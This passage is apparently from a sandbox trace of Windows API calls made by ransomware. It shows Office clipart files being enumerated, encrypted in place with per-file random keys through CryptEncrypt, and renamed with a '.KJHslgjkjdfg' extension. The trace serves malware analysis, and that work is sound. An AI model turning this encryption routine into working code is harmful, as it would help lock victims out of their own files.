lpOverlapped=0x0) returned 1 [0196.689] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.689] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.689] SetEndOfFile (hFile=0x130) returned 1 [0196.691] GetProcessHeap () returned 0x2ef0000 [0196.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.691] GetProcessHeap () returned 0x2ef0000 [0196.691] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.691] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00005_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00005_.wmf.kjhslgjkjdfg")) returned 1 [0196.692] CloseHandle (hObject=0x130) returned 1 [0196.692] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc19dc700, ftCreationTime.dwHighDateTime=0x1bd4b33, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xc19dc700, ftLastWriteTime.dwHighDateTime=0x1bd4b33, nFileSizeHigh=0x0, nFileSizeLow=0x5664, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00114_.WMF", cAlternateFileName="")) returned 1 [0196.692] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.693] GetProcessHeap () returned 0x2ef0000 [0196.693] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.693] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.693] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.694] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0xc, lpOverlapped=0x0) returned 1 [0196.695] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.695] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.695] GetProcessHeap () returned 0x2ef0000 [0196.695] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.696] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.696] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.696] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.696] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.696] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.696] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.696] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x5664, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x5664, lpOverlapped=0x0) returned 1 [0196.697] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5670, dwBufLen=0x5670 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x5670) returned 1 [0196.697] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.698] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x5670, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x5670, lpOverlapped=0x0) returned 1 [0196.698] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.698] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x5744, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.698] SetEndOfFile (hFile=0x130) returned 1 [0196.699] GetProcessHeap () returned 0x2ef0000 [0196.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.699] GetProcessHeap () returned 0x2ef0000 [0196.699] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.699] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00114_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00114_.wmf.kjhslgjkjdfg")) returned 1 [0196.700] CloseHandle (hObject=0x130) returned 1 [0196.700] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9a1f0e00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9a1f0e00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x3dec, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00116_.WMF", cAlternateFileName="")) returned 1 [0196.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.701] GetProcessHeap () returned 0x2ef0000 [0196.701] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.701] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.701] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.701] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.703] GetProcessHeap () returned 0x2ef0000 [0196.703] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.703] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.703] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.703] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.703] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.703] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.703] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.703] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.703] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x3dec, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x3dec, lpOverlapped=0x0) returned 1 [0196.704] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3df0, dwBufLen=0x3df0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x3df0) returned 1 [0196.704] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.705] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x3df0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x3df0, lpOverlapped=0x0) returned 1 [0196.705] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.705] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x3ec4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.705] SetEndOfFile (hFile=0x130) returned 1 [0196.707] GetProcessHeap () returned 0x2ef0000 [0196.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.707] GetProcessHeap () returned 0x2ef0000 [0196.707] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.707] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00116_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00116_.wmf.kjhslgjkjdfg")) returned 1 [0196.708] CloseHandle (hObject=0x130) returned 1 [0196.708] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2bef4100, ftCreationTime.dwHighDateTime=0x1bd4b0d, ftLastAccessTime.dwLowDateTime=0x61cccf30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2bef4100, ftLastWriteTime.dwHighDateTime=0x1bd4b0d, nFileSizeHigh=0x0, nFileSizeLow=0xb10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00172_.WMF", cAlternateFileName="")) returned 1 [0196.708] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.709] GetProcessHeap () returned 0x2ef0000 [0196.709] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.709] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.709] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.709] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.709] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.709] GetProcessHeap () returned 0x2ef0000 [0196.709] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.709] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.709] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.709] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.711] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.711] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.711] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xb10, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xb10, lpOverlapped=0x0) returned 1 [0196.711] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb10, dwBufLen=0xb10 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xb10) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.711] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xb10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xb10, lpOverlapped=0x0) returned 1 [0196.711] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.711] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xbe4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.711] SetEndOfFile (hFile=0x130) returned 1 [0196.712] GetProcessHeap () returned 0x2ef0000 [0196.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.712] GetProcessHeap () returned 0x2ef0000 [0196.712] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.712] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00172_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00172_.wmf.kjhslgjkjdfg")) returned 1 [0196.713] CloseHandle (hObject=0x130) returned 1 [0196.713] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7410300, ftCreationTime.dwHighDateTime=0x1bf3bd8, ftLastAccessTime.dwLowDateTime=0x538bb350, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7410300, ftLastWriteTime.dwHighDateTime=0x1bf3bd8, nFileSizeHigh=0x0, nFileSizeLow=0x10ca8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="HM00426_.WMF", cAlternateFileName="")) returned 1 [0196.713] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0196.714] GetProcessHeap () returned 0x2ef0000 [0196.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0196.714] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0196.714] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0196.715] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.719] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.719] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.719] GetProcessHeap () returned 0x2ef0000 [0196.719] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0196.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0196.719] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0196.719] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0196.719] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0196.720] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0196.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0196.720] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0196.720] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0196.720] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0196.720] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.720] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x10ca8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x10ca8, lpOverlapped=0x0) returned 1 [0196.722] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10cb0, dwBufLen=0x10cb0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x10cb0) returned 1 [0196.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x10cb0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x10cb0, lpOverlapped=0x0) returned 1 [0196.723] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0196.723] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x10d84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0196.723] SetEndOfFile (hFile=0x130) returned 1 [0196.725] GetProcessHeap () returned 0x2ef0000 [0196.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0196.726] GetProcessHeap () returned 0x2ef0000 [0196.726] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0196.726] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HM00426_.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hm00426_.wmf.kjhslgjkjdfg")) returned 1 [0196.727] CloseHandle (hObject=0x130) returned 1 [0196.727] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: 